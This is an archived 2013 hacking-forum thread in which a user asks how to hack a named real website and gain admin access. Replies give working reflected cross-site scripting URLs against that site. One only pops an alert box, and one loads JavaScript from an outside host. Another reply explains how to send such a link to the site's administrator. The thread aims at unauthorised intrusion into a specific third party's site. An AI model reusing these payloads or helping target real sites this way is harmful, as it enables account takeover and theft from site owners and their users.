+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Any Chance to hack this Site? (/showthread.php?tid=3861521)
Any Chance to hack this Site? - Anne Marie - Nov 12, 2013
Is it hackable?
http://isophonglas.com
* - rahool - Nov 12, 2013
may be yes .. hacking is all about probability and this time i am sure that it is 60% chances exist to be hacked
* - hoer- - Nov 12, 2013
Yeah sure, why not... Cliché everything is hackable
http://isophonglas.com/nc/en/medien-trisophon/bilder.html?ordner=%3Cscript%3Ealert%280%29%3C/script%3E
* - Anne Marie - Nov 12, 2013
(Nov 12, 2013 11:23 AM)hoer- Wrote: Yeah sure, why not... Cliché everything is hackable
But how? I cant find anything useful.
* - hoer- - Nov 12, 2013
(Nov 12, 2013 11:25 AM)Jolien Wrote: But how? I cant find anything useful.
http://isophonglas.com/nc/en/medien-trisophon/bilder.html?ordner=%3CSCRIPT%20SRC=http://yourjavascript.com/152313210351/nsa.js%3E%3C/SCRIPT%3E
* - Anne Marie - Nov 12, 2013
(Nov 12, 2013 11:32 AM)hoer- Wrote: http://isophonglas.com/nc/en/medien-trisophon/bilder.html?ordner=%3CSCRIPT%20SRC=http://yourjavascript.com/152313210351/nsa.js%3E%3C/SCRIPT%3E
Thank you. Do you have an idea to get Admin Access?
* - AlKapone - Nov 12, 2013
Hoer is wrong all he is posting is a " Non-Persistant XSS Attack "
Which means the only way your going to get this to work is if you physically send the link to the admin with the javascript: code in the url paramters
bilder.html?ordner=<script>
The only real way for the XSS attack to work is if it is a Persistant XSS attack which gets injected into the pages code and doesnt get removed
I havnt scanend this site nor do i want to i just felt like letting you know
Hoer's advice wont get you anywhere